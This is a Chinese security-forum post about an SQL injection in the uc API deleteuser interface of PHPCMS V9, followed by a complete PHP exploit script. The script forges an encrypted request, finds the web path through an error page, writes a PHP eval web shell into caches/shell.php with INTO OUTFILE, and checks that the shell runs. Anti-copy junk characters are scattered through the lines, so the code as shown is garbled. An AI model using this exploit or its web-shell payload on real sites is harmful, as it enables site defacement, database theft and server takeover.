找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2305|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。* T! v( O' V- s0 q% |

) A, z0 C( a! J  t% M0 ~所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。7 B3 g) C% Q' ], g  X, c* H* g# u
6 K, {" O' B, @
漏洞分析:3 Z  \. B, v1 k& u: K
1.未启用ucenter服务的情况下uc_key为空
( R4 O% O; h* z0 idefine('UC_KEY', pc_base::load_config('system', 'uc_key'));5 n4 O; z; W5 p# Q
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
: K3 @2 u5 G" n6 W! g% u5 j    public function deleteuser($get,$post) {
. ~$ ^1 d1 J* \. S2 N) p( V        pc_base::load_app_func('global', 'admin');
7 p4 x, b2 F0 S& w) e        pc_base::load_app_class('messagequeue', 'admin' , 0);8 G1 z9 p# Y1 u7 k. U4 t
        $ids = new_stripslashes($get['ids']);
! y0 b8 h7 n3 q$ t5 @: ?$ L        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
3 a: H4 C2 q% M" mSQL语句为9 l5 u3 s% O2 N  X# F1 k
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids). n0 |! [& v% v. a( w

8 l3 t6 L; @. v+ A0 k- P* S利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
, f" c$ P' j5 C* Z<?php
' r: v7 X4 q% ]print_r('& `& j! d( g7 [% {  G2 e; L" N
---------------------------------------------------------------------------! _$ p. c: o, L* F
PHPcms (v9 or Old Version) uc api sql injection 0day
% J) L3 z; a  t$ fby rayh4c#80sec.com/ e% x7 T3 z; R% X* ^
---------------------------------------------------------------------------
1 d7 X8 i$ b, a$ t5 l6 |0 A');
; o% d4 h/ V, {2 r. X4 s
6 @8 h% A8 P' Uif ($argc<3) {
! I5 q/ e" s3 y( ]9 R' u+ H. v3 X! l- A    print_r('; ?, Y$ u8 {% \, M$ M8 r  \. O
---------------------------------------------------------------------------
- P8 ?: w, ~5 c* K( t! sUsage: php '.$argv[0].' host path OPTIONS
! g0 o8 ], _% x+ n3 E9 O3 d2 ghost:      target server (ip/hostname)- `5 n8 T( C0 B! U
path:      path to phpcms
+ z1 k5 ?' f3 ~- J# FOptions:
6 e. C. H2 G9 ]! e; j -p[port]:    specify a port other than 80
# o" s" V- s' V2 O# Y& A" U! Z -P[ip:port]: specify a proxy
' N, G, S( w, y- p& c& \& E0 {Example:( i2 {0 R7 S2 B( k, J1 |% L
php '.$argv[0].' localhost /
5 g  L0 }  G, f6 ophp '.$argv[0].' localhost /phpcms/ -p813 l! d! Q; R+ T3 h& w! ]4 `
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80- r( x. I+ e% B1 w6 p4 Y- J! A
---------------------------------------------------------------------------6 {$ t# g) j) ]
');
5 ^1 s. m6 T' N; _2 J' ]' R1 o! p    die;
  _* Y: q1 I' e2 q% A}( X& g& ?' d* }1 [

1 Q# @: Z; Z) ~9 A0 c4 uerror_reporting(7);
6 N7 D6 p; x$ m% V* U& dini_set("max_execution_time",0);
! e: Z7 b2 Y# Hini_set("default_socket_timeout",5);0 E4 T' d9 t  L8 k" }, K
$ Z: |1 u0 i( O
function quick_dump($string)
1 [, J. g3 Q1 p) C{. _; V) g) p( \- {. q" V' w7 |# e! Y
  $result='';$exa='';$cont=0;
$ g% R/ [  t2 k: k) t, z- Y# ~  for ($i=0; $i<=strlen($string)-1; $i++)
9 u  m1 Y! |0 v# _; \) Z6 O  {2 }3 L1 Z6 Y. [# U
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
2 {* f2 P4 u' U- B6 N) t   {$result.="  .";}9 p$ `3 A# G. s; W+ m
   else
+ W6 ?; A' ^. _+ V   {$result.="  ".$string[$i];}
: b' P9 _) |# Z' }3 w5 H   if (strlen(dechex(ord($string[$i])))==2)7 L2 l3 L+ Z! S/ W
   {$exa.=" ".dechex(ord($string[$i]));}( O  E! B/ x; W& m8 J- M
   else) J9 B3 X3 o4 M
   {$exa.=" 0".dechex(ord($string[$i]));}
$ k( r6 y' Y8 m0 ^# `1 j/ t   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}5 N* O3 H9 o+ G1 ]
  }! u" q5 b0 ?! T9 U4 O
return $exa."\r\n".$result;
% @% r0 |5 Y% r) @0 m6 u8 F}6 n# Y1 V, l( ^
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';+ H  N% M1 \/ S) F2 q' \- C
* m% `  R9 s2 h+ n
function send($packet)
, `- N9 x. e# q' A{' S( r' h+ Y( ]9 F
  global $proxy, $host, $port, $html, $proxy_regex;; K2 Q2 i: v, d# t
  if ($proxy=='') {7 ]7 m, ?) x3 N. J4 N" K/ B! p
    $ock=fsockopen(gethostbyname($host),$port);  U0 X0 |; s  x) `- x' o
    if (!$ock) {
$ k0 n; `4 b( V# `# P$ s' c) N      echo 'No response from '.$host.':'.$port; die;4 D: }* Y9 v0 r6 J3 N
    }
9 U, B- c" X% H' G/ Y. [, s% L/ m0 z  }1 J$ B+ U. F0 l1 R+ _1 b$ N$ t) H/ J
  else {' ^4 c, j' v0 K( x- \* A' [/ V
        $c = preg_match($proxy_regex,$proxy);
" Q" y, e0 T1 `4 U    if (!$c) {' @" _/ ?! V: w
      echo 'Not a valid proxy...';die;
9 {. E  g0 [, D" J    }
' ^" o( O; m& K# {5 Y% R/ u3 s    $parts=explode(':',$proxy);% l7 s1 F- q0 g) L4 `* i8 P; k
    $parts[1]=(int)$parts[1];; i' R2 z4 ^! L5 ~1 @- p: y5 W5 e9 ?
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
8 v2 \+ x$ Q9 P    $ock=fsockopen($parts[0],$parts[1]);& h  f/ l5 V! x/ k& p
    if (!$ock) {
! V0 j' U' N9 D' z      echo 'No response from proxy...';die;2 ^" u2 y" _& F% M6 J3 ~5 S1 \' N
        }
( h+ U. `, A: j5 z+ u9 v  }( m! B( V1 V% \: U& G0 R( y: t
  fputs($ock,$packet);  |, s. k- l! C! v1 A/ C
  if ($proxy=='') {. J" `# ~: a4 H. }5 l. W
    $html='';
5 k3 Y* c3 J# d  n9 I    while (!feof($ock)) {
9 |0 F& ]& X5 j+ w: }' ^7 H      $html.=fgets($ock);
9 l. B7 t  O7 m5 a; Z" c. H2 I' Z- i9 R    }
  U6 ^% \1 K0 ~% u7 l  }
+ q: c$ P9 r. F* C" p( z  else {
1 i  ^, |6 @5 t* H    $html='';
4 ^5 }/ J5 R2 Z+ n4 l) F    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {4 J% _+ d: f) N6 g8 Z5 j
      $html.=fread($ock,1);
3 n# O- i5 D* g3 G    }" T* p: l% K6 S* d
  }
& G$ ]  v/ ^9 q  w( U4 |  fclose($ock);
, _3 D- {9 e* g) \' q}
/ P, H. J, y2 f3 s( U6 K- H& m+ Z$ R
$host=$argv[1];, w* a7 n" D# `" Y- S
$path=$argv[2];
! M$ t, @# Y; a& X" y4 @$ I$port=80;; c& s  H- _; [3 o0 K0 E
$proxy="";/ q' d( e! E" D1 f) V
for ($i=3; $i<$argc; $i++){
' O4 b0 }: c# P" {" d8 [. s$temp=$argv[$i][0].$argv[$i][1];" T7 W; O" ~( G/ [) p
if ($temp=="-p")
0 S1 l5 a# {! p! N# h! @{. [7 f6 X1 u  ]4 W: V# P; `
  $port=(int)str_replace("-p","",$argv[$i]);
: o* l6 {* \  v5 T1 H. B  `}9 l4 y  ^) r, m# h
if ($temp=="-P")6 b: y) l- Q4 h% F& y( U
{+ I) U$ Y" s  J
  $proxy=str_replace("-P","",$argv[$i]);5 t/ S1 D$ H! s
}* s2 M$ }# ?! b: u
}
7 Z5 t' X0 H* d  u& B+ O. j6 {4 e$ v" i% z1 y0 m* S
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}7 d- a4 j+ z7 R5 b# B0 ^! I+ ^3 E
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
4 P' v: a; m# z% [9 k& J+ ~9 n' E/ R$ n
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
6 K  ^4 |: v% G4 b- j" x' e0 t/ k  `5 f& a) v4 p
    $ckey_length = 4;
) [. `% r) y' [& i5 c7 ?
7 c: `5 g# g! ]7 d    $key = md5($key ? $key : '');
2 ^1 W' H4 H' d. i( o* r    $keya = md5(substr($key, 0, 16));
% D/ S6 W9 L6 K) a9 D* }' x6 g$ M    $keyb = md5(substr($key, 16, 16));
9 v5 G: K9 }$ ]" i6 V, r    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
, L0 h: [. t1 i: l' o; `
$ D* y6 R+ t7 G/ c    $cryptkey = $keya.md5($keya.$keyc);
0 U0 ?/ ]  e% O( ?) y/ Q  F    $key_length = strlen($cryptkey);
$ H. }$ {$ D  H7 X) o$ V4 ~' g0 ]; T" A! Q
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;- D2 K  E7 S  b
    $string_length = strlen($string);
4 y1 S; @5 q6 \* R& A
4 T3 c. p. m( u" ?2 D2 e) h    $result = '';6 K, U* S' a. ?) c
    $box = range(0, 255);
. J9 K3 U' i  A5 s* v5 @
+ K" N* R) f) Q( o; q    $rndkey = array();
% J9 ^4 T/ [. F6 i. x( V    for($i = 0; $i <= 255; $i++) {
- u7 W0 E  k6 t0 g( j) F' T8 }3 Y        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
9 m1 P5 J4 x% N    }
1 L; `7 \' Z; I, e" \8 q1 E! o
- P5 d  ]0 B+ }7 A9 _3 x    for($j = $i = 0; $i < 256; $i++) {
% G; v% B2 |* T/ b0 e, ^& {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
' z  b8 d4 M6 O        $tmp = $box[$i];" b" h, l$ {2 j1 a( N  f) t+ L
        $box[$i] = $box[$j];7 N( J. `* V! ?
        $box[$j] = $tmp;
5 k/ P' x; i1 y    }
) |& r4 I- d1 ]. I$ y7 g
: ]+ I  E' H( ]& j1 O0 V1 e    for($a = $j = $i = 0; $i < $string_length; $i++) {: b, ^0 V" L8 u) O' _- q% [2 E# s
        $a = ($a + 1) % 256;* l" G6 `. K) r, R
        $j = ($j + $box[$a]) % 256;- b1 G! J0 z2 F2 `  ?
        $tmp = $box[$a];
) ]; g! @. U0 P0 X; K9 o        $box[$a] = $box[$j];
% I: V6 d; K9 t4 x  H0 X        $box[$j] = $tmp;
; a2 U+ n- e. V; N5 s, A        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: w/ x: [. u7 S" [7 q3 H    }
+ s8 g9 T4 i0 u- o1 z5 N7 g
. l# f. @8 k0 a8 f    if($operation == 'DECODE') {# v) @) C7 Z3 |4 v
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
5 y8 L9 s/ a" G: a4 M            return substr($result, 26);
6 A6 Z5 N7 p8 X6 g5 Q0 H/ Z        } else {% p' G$ \% `3 H. m
            return '';
% T- o& u8 k5 G& r, [) S/ a9 L        }
/ a7 a2 ]6 N/ u; F: b    } else {7 P* e7 S5 p% r1 E) i- V3 T
        return $keyc.str_replace('=', '', base64_encode($result));$ P5 M3 ~. M3 g+ B3 }
    }- S: A  X: G9 P6 x9 P5 Y! o
' R% ~6 {( X$ y5 V
}/ _9 A" Z( U- K' V- G

; [8 B3 z7 y6 l. y0 ^$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";9 i' M0 i# M; h1 b. |' ]3 q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));  y0 v2 z# O, J' Y2 T/ `
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
  n+ T# j, }) m  H7 W$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";; u! L0 m7 e5 N9 l1 C7 u6 A' L' ]: @5 G
$packet.="User-Agent: Mozilla/5.0\r\n";
' r8 d- I5 J+ A; R+ k( ~7 v$packet.="Host: ".$host."\r\n";- o# @, D4 X% K( A
$packet.="Connection: Close\r\n\r\n";) Q' c/ r( U2 G: K& N# V
send($packet);, ]7 {" W  f- Y( L" [
if(strpos($html,"MySQL Errno") > 0){
- \. c$ r% K% i1 ]& ]echo "[2] 发现存在SQL注入漏洞"."\n";
3 k( Y$ B! Y1 ?# c# L, X5 b! yecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";0 Z& }2 W1 E4 {6 X3 g) J/ D
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 K* G5 v2 U5 ^! r$ D4 p$packet.="User-Agent: Mozilla/5.0\r\n";7 U' p6 B" p& l9 Y
$packet.="Host: ".$host."\r\n";" I8 U( \! O4 L& ]. z9 c6 r
$packet.="Connection: Close\r\n\r\n";" m9 z# k8 m* b8 H  T$ K
send($packet);5 a/ d; I4 W+ f5 Q8 k* O5 [7 O; e
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);, {! d9 m; q/ k( o
//print_r($matches);
5 R8 u. b2 h/ K6 b7 lif(!empty($matches)){
* O6 k# c- d, Y6 O" Secho "[4] 得到web路径 " . $matches[0]."\n";* N0 a8 o" [( M& [4 q# Y
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
, q5 z$ s8 Z2 l, L/ `; k- a1 r$SQL = "time=999999999999999999999999&ids=1)";
1 z4 M7 q" ~- Q9 E$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";. r4 j0 [3 g* U
$SQL.="&action=deleteuser";7 G# U3 @8 m6 q0 ^, a* v
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
/ k; e6 R* G8 O5 Lecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";4 i, M4 F7 _6 W
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ _0 [; V# q. S* f, T& K$packet.="User-Agent: Mozilla/5.0\r\n";& }  W% g2 T/ V' F6 A, S7 L
$packet.="Host: ".$host."\r\n";0 K- c5 \" N# q$ |
$packet.="Connection: Close\r\n\r\n";& j' R. A2 _$ R* D& v  b# s
send($packet);
+ q0 s; e$ G. |# ?, M+ ^if(strpos($html,"Access denied") > 0){
2 L' H+ Z  Q5 K: W2 i' qecho "[-] MYSQL权限过低 禁止写入文件 ";
; u8 s0 G. L# g; Odie;& |3 G; Y( e( J" S& K) J
}5 |1 c. N5 J& ]" w% u
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
: v- e7 E/ w7 u2 `' b$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
  R( m4 X' e( d) P2 \$packet.="User-Agent: Mozilla/5.0\r\n";
! L+ R. p% K7 o; E% r% b4 B$ L% Y; s$packet.="Host: ".$host."\r\n";
: f% Y& r1 o  }3 Y$packet.="Connection: Close\r\n\r\n";: n( Z  a7 s( Y  k/ h
send($packet);
: P4 s3 J6 e7 Y/ x2 {* Zif(strpos($html,"<title>phpinfo()</title>") > 0){) R8 E0 E( M* S, ~2 I4 J# X6 `, z
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
0 k: M# z4 h$ c}
4 z  X, }# h( ~) m3 r: i}else{
2 M* W% q( k- a: r& P! x8 l- xecho "[-]未取到web路径 ";
' Z  k4 z* [8 q8 R, u}2 f% H2 L. N& u" z0 x! _6 j
}else{
0 U3 O( v. H( Pecho "[*]不存在SQL注入漏洞"."\n";
& T- K; Z. D5 A0 u) G9 k}0 X  q' c" N8 |& C5 }
# ~3 w9 o1 r" y0 F& b. x
?>
1 W2 j7 o' Z/ z4 D9 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表